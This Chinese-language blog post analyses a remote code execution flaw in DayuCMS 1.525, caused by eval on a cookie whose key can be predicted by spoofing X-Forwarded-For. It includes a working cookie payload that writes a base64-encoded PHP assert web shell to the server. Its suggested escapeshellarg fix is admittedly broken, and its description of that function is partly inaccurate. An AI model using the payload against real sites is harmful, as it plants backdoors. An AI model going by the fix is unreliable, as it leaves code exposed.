DayuCMS 1.525 /include/global.func.php Foreground Arbitrary Code Execution

Andrew.Hann發表於2015-08-05

catalog

1. 漏洞描述
2. 漏洞觸發條件
3. 漏洞影響範圍
4. 漏洞程式碼分析
5. 防禦方法
6. 攻防思考

 

1. 漏洞描述

Relevant Link:

http://joychou.org/index.php/web/dayucms-1-526-foreground-remote-code-execution.html
http://www.wooyun.org/bugs/wooyun-2014-087518


2. 漏洞觸發條件

1. IP可以利用XSS偽造,所以cookiekey可以固定為: b98b87d11653f2da
2. 先訪問一下/pay/order.php,得到Cookie的prefix,然後和cookiekey拼接,得到cookie鍵值為:cbpCMSNTNAb98b87d11653f2da
//這樣當再次訪問pay/order.php時,get_cookie不再返回flase,string2array函式就能得到呼叫
3. 然後修改X_FORWARDED_FOR為0.0.0.0
4. 新建cookie,內容為1;fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))
5. 程式碼執行


3. 漏洞影響範圍
4. 漏洞程式碼分析

/include/global.func.php

// 字串轉換為陣列
function string2array($str)
{
    if(disablefunc('eval'))exit('函式eval被禁用,可能無法正常使用本系統!');
    if($str=='') return array();
    if(is_array($str))return $str; // 2011-09-13  是陣列的話直接返回
    //直接利用eval進行字串到陣列的賦值
    @eval("\$array = $str;");
    return $array;
}

繼續回溯函式呼叫方
/pay/order.php

$payobj=new pay();

$action=isset($action)?$action:'step1';
session_start();
 
//cookiekey是字串'productarray'和IP地址拼接得到的md5 
$cookiekey=dayucms_md5('productarray'.IP);
$productarray=string2array(get_cookie($cookiekey));

IP宣告在/include/common.inc.php

define('IP',getIp());

include/global.func.php

// 獲取IP地址
function getIp()
{
    $ip='未知IP';

    if(!empty($_SERVER['HTTP_CLIENT_IP']))
    {
        return is_ip($_SERVER['HTTP_CLIENT_IP'])?$_SERVER['HTTP_CLIENT_IP']:$ip;
    }
    elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
    {
        //ip可以利用X-Forwarded-For偽造
        return is_ip($_SERVER['HTTP_X_FORWARDED_FOR'])?$_SERVER['HTTP_X_FORWARDED_FOR']:$ip;
    }
    else
    {
        return is_ip($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:$ip;
    }
}

nclude/global.func.php

function get_cookie($var)
{
    $var = COOKIE_PRE.$var;
    return isset($_COOKIE[$var])?$_COOKIE[$var]:false;
}

string2array函式的正常用法是

$tmp = 'array("hello"=>"world")';
$arr = string2array($tmp);
var_dump($arr); //此時$arr就為一個陣列

但是如果string2array函式引數$str為1;echo 222,那麼由於eval可以執行由分號分開的多條語句,所以程式碼變成@eval("\$array = 1;echo 222;"); 導致程式碼執行,同時需要明白的是,程式碼注入並不是這個eval漏洞點唯一的利用方式,黑客可以在payload中加入"&{${...}}"這種語法,PHP解析器會立刻進行執行


5. 防禦方法

/include/global.func.php

// 字串轉換為陣列
function string2array($str)
{
    if(disablefunc('eval'))exit('函式eval被禁用,可能無法正常使用本系統!');
    if($str=='') return array();
    if(is_array($str))return $str; // 2011-09-13  是陣列的話直接返回
    /**/
    $str = escapeshellarg($str);
    /**/
    @eval("\$array = $str;");
    return $array;
}

這個防禦方案存在問題,會將正常傳入的array('a' => 'b')這種型別的字串破壞,導致程式crash,一個可能可行的思考方向是對$str進行token語法樹解析,在token語法樹層面檢測是否存在危險字元


6. 攻防思考

0x1: PHP命令注入攻擊漏洞的防範

1. 儘量不要執行外部的應用程式或命令 
2. 使用自定義函式或函式庫實現外部應用程式或命令的功能 
3. 在執行system、eval等命令執行功能的函式前,確定引數內容 
4. 使用escapeshellarg函式處理相關引數。Escapeshellarg函式會將任何引起引數或命令結束的字元進行轉義,如
    1) 單引號""會被轉義為"\’"
    2) 雙引號"""會被轉義為"\""
    3) 分號";"會被轉義為"\;"
這樣escapeshellarg會將引數內容限制在一對單引號或雙引號裡面,轉義引數中所包含的單引號或雙引號,使其無法對當前執行進行截斷,實現防範命令注入攻擊的目的 
//escapeshellarg() 將給字串增加一個單引號並且能引用或者轉碼任何已經存在的單引號,這樣以確保能夠直接將一個字串傳入 shell 函式,並且還是確保安全的。對於使用者輸入的部分引數就應該使用這個函式。shell 函式包含 exec(), system() 執行運算子 
5. 使用safe_mode_exec_dir執行可執行的檔案路徑。將php.ini檔案中的safe_mode設定為On,然後將允許執行的檔案放入一個目錄中,並使用safe_mode_exec_dir指定這個可執行的檔案路徑。這樣,在需要執行相應的外部程式時,程式必須在safe_mode_exec_dir指定的目錄中才會允許執行,否則執行將失敗 

Relevant Link:

http://php.net/manual/zh/function.escapeshellarg.php
http://www.rising.com.cn/newsletter/news/2012-06-27/11810.html

 

Copyright (c) 2015 Little5ann All rights reserved

 

相關文章